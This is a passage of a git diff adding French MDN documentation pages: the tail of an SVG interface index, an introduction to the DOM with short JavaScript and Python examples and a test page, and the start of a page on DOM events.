+ <li>{{domxref("SVGPathSegCurvetoCubicSmoothRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegCurvetoQuadraticSmoothRel")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPathSegList")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPoint")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPointList")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGRect")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGStringList")}}</li>
+ <li>{{domxref("SVGTransform")}}</li>
+ <li>{{domxref("SVGTransformList")}}</li>
+</ul>
+</div>
+
+<h4 id="Interfaces_animées">Interfaces animées</h4>
+
+<div class="index">
+<ul>
+ <li>{{domxref("SVGAnimatedAngle")}}</li>
+ <li>{{domxref("SVGAnimatedBoolean")}}</li>
+ <li>{{domxref("SVGAnimatedEnumeration")}}</li>
+ <li>{{domxref("SVGAnimatedInteger")}}</li>
+ <li>{{domxref("SVGAnimatedLength")}}</li>
+ <li>{{domxref("SVGAnimatedLengthList")}}</li>
+ <li>{{domxref("SVGAnimatedNumber")}}</li>
+ <li>{{domxref("SVGAnimatedNumberList")}}</li>
+ <li>{{domxref("SVGAnimatedPathData")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGAnimatedPoints")}}</li>
+ <li>{{domxref("SVGAnimatedPreserveAspectRatio")}}</li>
+ <li>{{domxref("SVGAnimatedRect")}}</li>
+ <li>{{domxref("SVGAnimatedString")}}</li>
+ <li>{{domxref("SVGAnimatedTransformList")}}</li>
+</ul>
+</div>
+
+<h3 id="Interfaces_relatives_à_SMIL">Interfaces relatives à SMIL</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ElementTimeControl")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+</ul>
+</div>
+
+<h3 id="Autres_interfaces_SVG">Autres interfaces SVG</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("GetSVGDocument")}}</li>
+ <li>{{domxref("ShadowAnimation")}}</li>
+ <li>{{domxref("SVGColorProfileRule")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGCSSRule")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGDocument")}}</li>
+ <li>{{domxref("SVGException")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGExternalResourcesRequired")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGFitToViewBox")}}</li>
+ <li>{{domxref("SVGLangSpace")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGLocatable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGRenderingIntent")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGStylable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGTests")}}</li>
+ <li>{{domxref("SVGTransformable")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGUnitTypes")}}</li>
+ <li>{{domxref("SVGUseElementShadowRoot")}}</li>
+ <li>{{domxref("SVGURIReference")}}</li>
+ <li>{{domxref("SVGViewSpec")}} {{deprecated_inline}}</li>
+ <li>{{domxref("SVGZoomAndPan")}}</li>
+ <li>{{domxref("SVGZoomEvent")}} {{deprecated_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Référence_du_DOM_Gecko/Exemples">Exemples appliqués pour le DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/document_object_model/introduction/index.html b/files/fr/web/api/document_object_model/introduction/index.html
new file mode 100644
index 0000000000..49249815ec
--- /dev/null
+++ b/files/fr/web/api/document_object_model/introduction/index.html
@@ -0,0 +1,297 @@
+---
+title: Introduction
+slug: Web/API/Document_Object_Model/Introduction
+tags:
+  - DOM
+  - Guide
+  - Reference
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p>Le Modèle Objet de Document (<strong>DOM: Document object Model</strong>) est la representation objet des données qui composent la structure et le contenu d'un document sur le web. Dans ce guide, <span class="tlid-translation translation" lang="fr"><span title="">nous présenterons brièvement le DOM</span></span>. <span class="tlid-translation translation" lang="fr"><span title="">Nous verrons comment le DOM représente un document </span></span> {{Glossary("HTML")}} ou {{Glossary("XML")}} en mémoire et comment vous utilisez les API pour créer du contenu web et des applications.</p>
+
+<p><strong>NDTR:</strong> (Cette section consiste en une brève introduction conceptuelle du <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model">DOM</a> : elle explique de quoi il s'agit, comment celui-ci fournit une structure pour les documents <a href="https://developer.mozilla.org/fr/docs/Web/HTML">HTML</a> et <a href="https://developer.mozilla.org/fr/docs/Glossaire/XML">XML</a>, la manière d'y accéder, et comment cette API présente les informations de référence et exemples).</p>
+
+<h2 id="Pr.C3.A9sentation_du_DOM" name="Pr.C3.A9sentation_du_DOM"><span class="tlid-translation translation" lang="fr"><span title="">Qu'est-ce que le DOM?</span></span></h2>
+
+<p>Le Document Object Model (DOM) est une interface de programmation pour les documents HTML et XML. Il fournit une page dont des programmes peuvent modifier la structure, son style et son contenu. Cette représentation du document permet de le voir comme un groupe structuré de nœuds et d'objets possédant différentes propriétés et méthodes. Fondamentalement, il relie les pages Web aux scripts ou langages de programmation.</p>
+
+<p>Une page Web est un document. Celui-ci peut être affiché soit dans la fenêtre du navigateur, soit sous la forme de son code source HTML. Mais il s'agit du même document dans les deux cas. Le modèle objet de document proposé par le DOM fournit une autre manière de représenter, stocker et manipuler ce même document. Le DOM est une représentation entièrement orientée objet de la page Web, et peut être manipulé à l'aide d'un langage de script comme JavaScript.</p>
+
+<p>Les normes <a class="external" href="http://www.w3.org/DOM/">DOM du W3C</a> et <a class="external external-icon" href="https://dom.spec.whatwg.org">WHATWG DOM</a> forment la base du DOM implémenté dans la plupart des navigateurs modernes. Beaucoup d'entre-eux fournissent des extensions allant plus loin que le standard, faites donc attention lorsque vous les utilisez sur le Web, où les documents peuvent être consultés par de nombreux navigateurs avec chacun un DOM différent.</p>
+
+<p>Par exemple, DOM du W3C spécifie que la méthode <code>getElementsByTagName</code> dans le code ci-dessous doit renvoyer une liste de tous les éléments <code>&lt;P&gt;</code> présents dans le document :</p>
+
+<pre class="notranslate">paragraphes = document.getElementsByTagName("P");
+// paragraphes[0] est le premier élément &lt;p&gt;
+// paragraphes[1] est le second élément &lt;p&gt;, etc.
+alert(paragraphes[0].nodeName);
+</pre>
+
+<p>Chacune des propriétés et des méthodes et chacun des évènements disponibles permettant la manipulation et la création de pages Web sont organisés dans des objets (par exemple, l'objet <code>document</code> qui représente le document lui-même, l'objet <code>table</code> qui implémente l'interface DOM particulière <code>HTMLTableElement</code> permettant d'accéder aux tables HTML, etc.). Cette documentation fournit une référence, objet par objet, du DOM implémenté dans les navigateurs basés sur Gecko.</p>
+
+<h2 id="DOM_et_JavaScript" name="DOM_et_JavaScript">DOM et JavaScript</h2>
+
+<p>Le court exemple ci-dessus, comme presque tous les exemples de cette référence, est en <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript">JavaScript</a>. C'est-à-dire qu'il est<em> écrit</em> en JavaScript, mais qu'il<em> utilise</em> le DOM pour accéder au document et à ses éléments. Le DOM n'est pas un langage de programmation, mais sans lui le langage JavaScript n'aurait aucun modèle ni aucune notion des pages Web, des documents XML, et des éléments pour lesquels il est généralement utilisé. Chaque élément d'un document, que ce soit le document lui-même, ses en-têtes, les tableaux internes au document, les en-têtes de colonnes et le texte contenu dans les cellules de ces tableaux, fait partie du modèle objet de document (DOM) de ce document. Tous ces éléments sont donc accessibles et peuvent être manipulés à l'aide du DOM et d'un langage de script comme JavaScript.</p>
+
+<p>À l'origine, JavaScript et le DOM étaient fortement liés, mais ils ont fini par évoluer en deux entités distinctes. Le contenu de la page est stocké dans le DOM et on peut y accéder et le manipuler via JavaScript, de la sorte qu'on pourrait écrire cette équation approximative :</p>
+
+<p>API(page Web ou XML) = DOM + JS(langage de script)</p>
+
+<p>Le DOM a été conçu pour être indépendant de tout langage de programmation, ce qui rend la représentation structurelle du document disponible à l'aide d'une API simple et cohérente. Bien que cette documentation de référence se concentre uniquement sur JavaScript, des implémentations du DOM peuvent être construites pour n'importe quel langage, comme le démontre cet exemple en Python :</p>
+
+<pre class="eval notranslate"># Exemple d'utilisation du DOM en Python
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # Propriété DOM de l'objet document;
+p_list = doc.getElementsByTagName("para");
+</pre>
+
+<p>Pour plus d'informations sur ce que ces techniques impliquent dans l'écriture de JavaScript sur le web, voir <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/JavaScript_technologies_overview">Survol des technologies JavaScript</a>.</p>
+
+<h2 id="M.C3.A9thodes_d.27acc.C3.A8s_au_DOM" name="M.C3.A9thodes_d.27acc.C3.A8s_au_DOM">Méthodes d'accès au DOM</h2>
+
+<p>Il n'y a rien de particulier à faire pour commencer à utiliser le DOM. Les différents navigateurs ont différentes implémentations du DOM, et celles-ci présentent des degrés divers de conformité au standard DOM de référence (un sujet que l'on tente d'éviter dans cette documentation), mais chacun d'entre eux utilise un modèle objet de document pour rendre les pages Web accessibles aux scripts.</p>
+
+<p>Lorsque vous créez un script, qu'il figure au sein de la page dans un élément <code>&lt;SCRIPT&gt;</code> ou soit inclus au moyen d'une instruction de chargement de script, vous pouvez immédiatement commencer à utiliser l'API. En accédant aux éléments <code><a href="https://developer.mozilla.org/fr/docs/Web/API/document">document</a></code> ou <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Window">window</a></code>, vous pouvez manipuler le document lui-même ou parcourir les enfants de ces éléments, qui sont les divers éléments de la page Web. Votre programmation DOM peut être très simple, comme l'exemple suivant qui affiche un message d'avertissement à l'aide de la fonction <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Window/alert">alert()</a></code> de l'objet <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Window">window</a></code>, ou peut utiliser des méthodes DOM plus sophistiquées pour créer du nouveau contenu comme dans l'exemple plus bas.</p>
+
+<p>Le code JavaScrip suivant affichera une alerte quand le document est chargé (et quand le DOM entier est disponible à l'utilisation).</p>
+
+<pre class="eval notranslate">&lt;body
+  onload="window.alert('Bienvenue sur ma page Web !');"&gt;
+</pre>
+
+<p>Un autre exemple. Cette fonction crée un nouvel élément H1, y ajoute du texte, et ajoute ensuite cet élément à l'arbre du document :</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+       <span class="comment token">//exécute la fonction lorsque le document est chargé</span>
+       window<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+         <span class="comment token">// crée </span></span></code> <span id="result_box" lang="fr"><span>un couple d'éléments dans une page HTML autrement vide</span></span><code class="language-html"><span class="language-javascript script token">
+         <span class="keyword token">var</span> heading <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"h1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+         <span class="keyword token">var</span> heading_text <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span><span class="string token">"Big Head!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+         heading<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>heading_text<span class="punctuation token">)</span><span class="punctuation token">;</span>
+         document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>heading<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Types_de_donn.C3.A9es_importants" name="Types_de_donn.C3.A9es_importants"><span class="tlid-translation translation" lang="fr"><span title="">Types de données fondamentaux</span></span></h2>
+
+<p>Cette référence tente de décrire les différents objets et types de la manière la plus simple possible. Mais il y a un certain nombre de types de données utilisées par l'API que vous devez connaître.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Parceque la vaste majorité de codes qui utilisent le DOM gravitent autour de la manipulation de documents HTML, il est courant de toujours se référer aux nœuds du DOM comme éléments, étant donné que dans le document HTML, chaque nœud est un élément. <span class="tlid-translation translation" lang="fr"><span title="">Bien que n'étant pas strictement exact, la documentation que vous trouverez dans MDN </span></span> <span class="tlid-translation translation" lang="fr"><span title="">fera souvent la même chose, à cause de la fréquence de cette hypothèse.</span></span></p>
+</div>
+
+<p><strong>NDTR: </strong>(Pour simplifier, les exemples de syntaxe présentés dans cette référence se réfèreront aux nœuds en les appelant <code>elements</code>, aux tableaux de nœuds en tant que <code>nodeLists</code> (ou même simplement éléments), et aux nœuds d'attributs en tant qu'<code>attributes)</code>.</p>
+
+<p>Le tableau suivant décrit brièvement ces types de données.</p>
+
+<table class="standard-table" dir="ltr" style="height: 234px; width: 852px;">
+ <thead>
+  <tr>
+   <th scope="col">Type de donnée (Interface)</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td>Lorsqu'un membre renvoie un objet de type <code>document</code> (par exemple la propriété <strong>ownerDocument</strong> d'un élément, qui retourne le <code>document</code> auquel il appartient), cet objet est l'objet <code>document</code> racine lui-même. Le chapitre <a href="https://developer.mozilla.org/fr/docs/Web/API/document">référence de DOM <code>document</code></a> décrit l'objet <code>document</code> en détail.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Node")}}</td>
+   <td>Chaque objet  du document est sous une forme ou une autre un noeud. Dans un document HTML, un objet peût être un élément nœud, mais aussi  un nœud text ou nœud attribut.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>Le type élément est basé sur le nœud. Il se réfère à un élément ou nœud de type élément renvoyé par un membre de l'API DOM. Plutôt que de dire, par exemple que la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createElement">document.createElement()</a> renvoie une réference à un objet de type nœud, nous dirons simplement que cette méthode renvoie l'élément qui vient juste d'être créer dans le DOM. Les objets element implémentent l'interface DOM element, mais aussi l'interface plus basique node, qui sont toutes les deux incluses dans cette réference. dans un document HTML, les éléments sont mis en valeur par l'interface API HTML DOM  {{domxref("HTMLElement")}} aussi bien que par d'autres interfaces <span class="tlid-translation translation" lang="fr"><span title="">décrivant les capacités d'éléments spécifiques</span></span>  ( <span class="tlid-translation translation" lang="fr"><span title="">par exemple</span></span> , {{domxref("HTMLTableElement")}} for {{HTMLElement("table")}} elements).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Une <code>nodeList</code> est un tableau d'éléments, comme celui qui est renvoyé par la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/getElementsByTagName">document.getElementsByTagName()</a>. Les éléments d'une <code>nodeList</code> sont accessibles par un index de deux manières différentes :
+    <ul>
+     <li>list.item(1)</li>
+     <li>list[1]</li>
+    </ul>
+
+    <p>Ces deux lignes sont équivalentes. Dans la première, <strong>item()</strong> est la méthode de l'objet <code>nodeList</code>. La seconde utilise la syntaxe habituelle d'un tableau pour accéder au second élément de la liste.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("Attribute")}}</td>
+   <td>Lorsqu'un <code>attribute</code> est renvoyé par un membre (par exemple par la méthode <strong>createAttribute()</strong>), il s'agit d'une référence à un objet qui expose une interface particulière (et limitée) aux attributs. Les attributs sont des nœuds dans le DOM tout comme les éléments, mais ils seront rarement utilisés de cette manière.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("NamedNodeMap")}}</td>
+   <td>Une <code>namedNodeMap</code> est comme un tableau, mais où l'on peut accéder aux éléments à la fois par nom ou par index. Cette dernière possibilité est cependant juste là pour faciliter l'énumération, car la liste n'est pas dans un ordre particulier. Une <code>namedNodeMap</code> a une méthode item() pour la même raison, et il est également possible d'ajouter et de retirer des élements d'une <code>namedNodeMap</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Les_interfaces_DOM" name="Les_interfaces_DOM">Les interfaces DOM</h2>
+
+<p>Un des objectifs de ce guide est de ne pas trop parler de l'héritage abstrait d'interfaces, et d'autres détails d'implémentation, et de se concentrer plutôt sur les objets dans le DOM qui sont les<em>choses</em> réelles utilisables pour manipuler la hiérarchie du DOM. Du point de vue du programmeur Web, il est rarement utile de savoir que l'objet représentant l'élément <code>HTML FORM</code> reçoit sa propriété <strong>name</strong> de l'interface <code>HTMLElement</code>. Dans les deux cas, la propriété désirée est simplement l'objet de formulaire.</p>
+
+<p>Cependant, la relation entre les objets et les interfaces qu'ils implémentent dans le DOM peut entrainer une certaine confusion, c'est pourquoi cette section tente de présenter un tant soit peu les interfaces figurant dans la spécification du DOM et la manière dont elles sont rendues disponibles.</p>
+
+<h3 id="Les_interfaces_et_les_objets" name="Les_interfaces_et_les_objets">Les interfaces et les objets</h3>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">De nombreux objets empruntent à plusieurs interfaces différentes.</span></span> L'objet table par exemple implémente une <a href="https://developer.mozilla.org/fr/docs/Web/API/HTMLTableElement">interface spécialisée de l'élément HTML Table</a>, <span class="tlid-translation translation" lang="fr"><span title="">qui comprend des méthodes telles que</span></span> <code>createCaption</code> et <code>insertRow</code>. Mais comme il s'agit également d'un élément HTML, <code>table</code> implémente aussi l'interface <code>Element</code> décrite dans le chapitre <a href="https://developer.mozilla.org/fr/docs/Web/API/element">Référence de DOM <code>element</code></a>. Enfin, comme un élément HTML est, du point de vue du DOM, un nœud au sein de l'arbre de nœuds qui forment le modèle objet pour une page HTML ou XML, l'objet table implémente aussi l'interface plus basique <code>Node</code>, dont dérive <code>Element</code>.</p>
+
+<p>Lorsque vous obtiendrez une référence à un objet <code>table</code>, comme dans l'exemple suivant, vous utiliserez régulièrement ces trois interfaces de manière interchangeable sur l'objet, peut-être même sans le savoir.</p>
+
+<pre class="notranslate">var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Interface Node/Element
+for(var i = 0; i &lt; tableAttrs.length; i++){
+  // Interface HTMLTableElement : attribut border
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// Interface HTMLTableElement : attribut summary
+table.summary = "note : bordure plus large";
+</pre>
+
+<h3 id="Interfaces_essentielles_du_DOM" name="Interfaces_essentielles_du_DOM">Interfaces essentielles du DOM</h3>
+
+<p>Cette section liste certaines des interfaces les plus couramment utilisées dans le DOM. L'idée n'est pas ici de décrire ce que font ces API, mais de vous donner une idée des sortes de méthodes et propriétés que vous verrez très souvent en utilisant le DOM. Ces API communes sont utilisées dans les exemples plus longs du chapitre <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples">Exemples d'utilisation du DOM</a> à la fin de livre.</p>
+
+<p>Les objets <code>document</code> et <code>window</code> sont ceux dont les interfaces sont les plus souvent utilisées dans la programmation DOM. En termes simples, l'objet <code>window</code> représente quelque chose comme le navigateur, et l'objet <code>document</code> est la racine du document lui-même. <code>Element</code> hérite de l'interface générique <code>Node</code>, et ensemble ces deux interfaces fournissent un grand nombre des méthodes et propriétés utilisables sur des éléments individuels. <span class="tlid-translation translation" lang="fr"><span title="">Ces éléments peuvent également avoir des interfaces spécifiques pour traiter le type de données que ces éléments contiennent</span></span>, comme dans l'objet <code>table</code> donné en exemple dans la section précédente.</p>
+
+<p>Ce qui suit est une brève liste des API communes au script de page dans le Web et  XML utilisant le DOM.</p>
+
+<ul>
+ <li><code>{{domxref("document.getElementById", "", "", "1")}}(id)</code></li>
+ <li><code>document.{{domxref("Element.getElementsByTagName", "getElementsByTagName", "", "1")}}(name)</code></li>
+ <li><code>{{domxref("document.createElement", "", "", "1")}}(name)</code></li>
+ <li><code>parentNode.{{domxref("Node.appendChild", "appendChild", "", "1")}}(node)</code></li>
+ <li><code>element.{{domxref("element.innerHTML", "innerHTML", "", "1")}}</code></li>
+ <li><code>element.{{domxref("HTMLElement.style", "style", "", "1")}}.left</code></li>
+ <li><code>element.{{domxref("element.setAttribute", "setAttribute", "", "1")}}()</code></li>
+ <li><code>element.{{domxref("element.getAttribute", "getAttribute", "", "1")}}()</code></li>
+ <li><code>element.{{domxref("EventTarget.addEventListener", "addEventListener", "", "1")}}()</code></li>
+ <li><code>{{domxref("window.content", "", "", "1")}}</code></li>
+ <li><code>{{domxref("window.onload", "", "", "1")}}</code></li>
+ <li><code>{{domxref("console.log", "", "", "1")}}()</code></li>
+ <li><code>{{domxref("window.scrollTo", "", "", "1")}}()</code></li>
+</ul>
+
+
+
+<h2 id="Test_de_l.27API_DOM" name="Test_de_l.27API_DOM">Test de l'API DOM</h2>
+
+<p>Ce document fournit des exemples pour chaque interface utilisable dans le cadre de votre propre développement Web. Dans certains cas, les exemples sont des pages HTML complètes, avec l'accès au DOM dans un élément &lt;script&gt;, l'interface (comme les boutons) nécessaire pour lancer le script dans un formulaire, et les éléments HTML sur lesquels le DOM opère sont listés également. Lorsque c'est le cas, vous pouvez copier et coller l'exemple dans un nouveau document HTML, l'enregistrer et l'exécuter depuis un navigateur.</p>
+
+<p>Il y a cependant certains cas où les exemples sont plus concis. Pour exécuter les exemples qui démontrent seulement la relation basique entre l'interface et les éléments HTML, il peut être utile de mettre en place une page de test dans laquelle les interfaces peuvent être accédées facilement par des scriptes. La page suivante, très simple, fournit un élément &lt;script&gt; dans l'entête dans lequel vous pouvez placer les fonctions qui testent l'interface voulue, quelques éléments HTML avec des attributs que vous pouvez lire, modifier ou manipuler de quelque manière que ce soit, et l'interface utilisateur Web nécessaire pour appeler toutes ces fonctions depuis le navigateur.</p>
+
+<p>Vous pouvez utiliser cette page de test ou en créer une semblable pour tester les interfaces DOM qui vous intéressent et voir comment elles fonctionnent sur la plateforme du navigateur. Vous pouvez mettre à jour le contenu de la fonction <code>test()</code>, créer plus de boutons, ou ajouter d'autres éléments si nécessaire.</p>
+
+<pre class="notranslate">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Tests du DOM&lt;/title&gt;
+&lt;script type="application/x-javascript"&gt;
+function setBodyAttr(attr,value){
+  if(document.body) eval('document.body.'+attr+'="'+value+'"');
+  else notSupported();
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;div style="margin: .5in; height="400""&gt;
+&lt;p&gt;&lt;b&gt;&lt;tt&gt;text&lt;/tt&gt; color&lt;/p&gt;
+&lt;form&gt;
+&lt;select onChange="setBodyAttr('text',
+    this.options[this.selectedIndex].value);"&gt;
+&lt;option value="black"&gt;black
+&lt;option value="darkblue"&gt;darkblue
+&lt;/select&gt;
+ &lt;p&gt;&lt;b&gt;&lt;tt&gt;bgColor&lt;/tt&gt;&lt;/p&gt;
+ &lt;select onChange="setBodyAttr('bgColor',
+    this.options[this.selectedIndex].value);"&gt;
+&lt;option value="white"&gt;white
+&lt;option value="lightgrey"&gt;gray
+ &lt;/select&gt;
+&lt;p&gt;&lt;b&gt;&lt;tt&gt;link&lt;/tt&gt;&lt;/p&gt;
+&lt;select onChange="setBodyAttr('link',
+     this.options[this.selectedIndex].value);"&gt;
+&lt;option value="blue"&gt;blue
+&lt;option value="green"&gt;green
+&lt;/select&gt;  &lt;small&gt;
+     &lt;a href="http://www.brownhen.com/dom_api_top.html" id="sample"&gt;
+(exemple de lien)&lt;/a&gt;&lt;/small&gt;&lt;br&gt;
+&lt;/form&gt;
+&lt;form&gt;
+  &lt;input type="button" value="version" onclick="ver()" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Pour tester un grand nombre d'interfaces dans une seule page, par exemple une « suite » de propriétés affectant les couleurs d'une page Web, vous pouvez créer une page de test semblable avec une console complète de boutons, de champs de texte et d'autres élements HTML. La capture d'écran suivante vous donnera une idée de comment les interfaces peuvent être regroupées à des fins de test.</p>
+
+<p>Figure 0.1 Exemple de page de test du DOM</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/391/DOM_Ref_Introduction_to_the_DOM.gif" style="height: 375px; width: 199px;"></p>
+
+<p>Dans cet exemple, les menus déroulants mettent à jour dynamiquement les aspects de la page web  accessibles au DOM comme sa couleur de fond (<code>bgColor</code>), la couleur des hyperliens (<code>aLink</code>) et la couleur du texte (<code>text</code>). Cependant, lorsque vous concevez vos pages de test, tester les interfaces au fur et à mesure que vous les lisez est une partie importante de l'apprentissage de l'utilisation efficace du DOM.</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Introduction">Introduction au DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Les_%C3%A9v%C3%A8nements_et_le_DOM">Les événements et le DOM</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples">Exemples</a></li>
+</ul>
+
+<article class="approved">
+<div class="boxed translate-rendered text-content">
+<div>{{DefaultAPISidebar("DOM")}}</div>
+</div>
+</article>
+
+<article class="localized">
+<header>
+<h3 id="Traduction_en_Français">Traduction en Français :</h3>
+</header>
+
+<div class="guide-links"><a href="https://wiki.developer.mozilla.org/fr/docs/MDN/Community" rel="noopener">Besoin d'aide ?</a> • <a href="https://wiki.developer.mozilla.org/fr/docs/MDN/Contribute/Editor" rel="noopener">Guide d'édition</a> • <a href="https://wiki.developer.mozilla.org/fr/docs/MDN/Contribute/Content/Style_guide" rel="noopener">Guide stylistique</a></div>
+
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="draft-container">
+<div class="draft-old"></div>
+
+<div class="draft-status"><span id="draft-action">Brouillon enregistré automatiquement : <time class="time-ago" id="draft-time" title="2019-10-19T19:12:47.156Z">19/10/2019 21:12:47</time></span></div>
+</div>
+
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="editor-tools"></div>
+
+<div style="height: 106px;">
+<div style="border: 1px solid rgb(182, 182, 182); width: 894px; position: fixed; top: 0px;"></div>
+</div>
+</div>
+</div>
+</div>
+</article>
+
+<article class="localized">
+<div class="editor-wrapper" id="editor-wrapper">
+<div class="ckeditor-container editor-container dirty">
+<div class="editor">
+<div class="cke" dir="ltr" id="cke_id_content" lang="fr">
+<div>
+<div id="cke_1_contents" style="height: 9993px;"></div>
+</div>
+</div>
+</div>
+</div>
+</div>
+</article>
diff --git a/files/fr/web/api/document_object_model/les_évènements_et_le_dom/index.html b/files/fr/web/api/document_object_model/les_évènements_et_le_dom/index.html
new file mode 100644
index 0000000000..cd96a7446c
--- /dev/null
+++ b/files/fr/web/api/document_object_model/les_évènements_et_le_dom/index.html
@@ -0,0 +1,74 @@
+---
+title: Les évènements et le DOM
+slug: Web/API/Document_Object_Model/Les_évènements_et_le_DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - évènements
+translation_of: Web/API/Document_Object_Model/Events
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<p>Ce chapitre décrit le modèle d'événement DOM. L'interface <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a> elle-même est décrite, ainsi que les interfaces pour l'enregistrement des évènements sur les noeuds dans le DOM, les <a href="https://developer.mozilla.org/fr/docs/Web/API/EventTarget/addEventListener">écouteurs d'évènements</a> et d'autres exemples montrant les relations des différentes interfaces d'évènements entre elles.</p>
+
+<p>Il existe un excellent diagramme qui explique clairement les trois phases du flux d'évènements à travers le DOM dans le <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">document sur les évènements DOM Niveau 3</a>.</p>
+
+<p>Voir aussi l'<a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples#Exemple_5_:_propagation_d%27%C3%A9v%C3%A8nements">exemple 5 : Propagation des évènements</a> dans le chapitre "Exemples" pour des exemples détaillés sur le déplacement des évènements à travers le DOM.</p>
+
+<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">Enregistrement des écouteurs d'évènements</h2>
+
+<p>Il y a 3 moyens d'enregistrer les gestionnaires d'évènements pour un élément DOM.</p>
+
+<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener"><a href="/en-US/docs/Web/API/EventTarget.addEventListener"><code>EventTarget.addEventListener</code></a></h3>
+
+<pre class="brush: js">// Supposons que myButton est un élément de bouton
+myButton.addEventListener('click', function(){alert('Hello world');}, false);
+</pre>
+
+<p>C'est la méthode à utiliser dans les pages web modernes.</p>
+
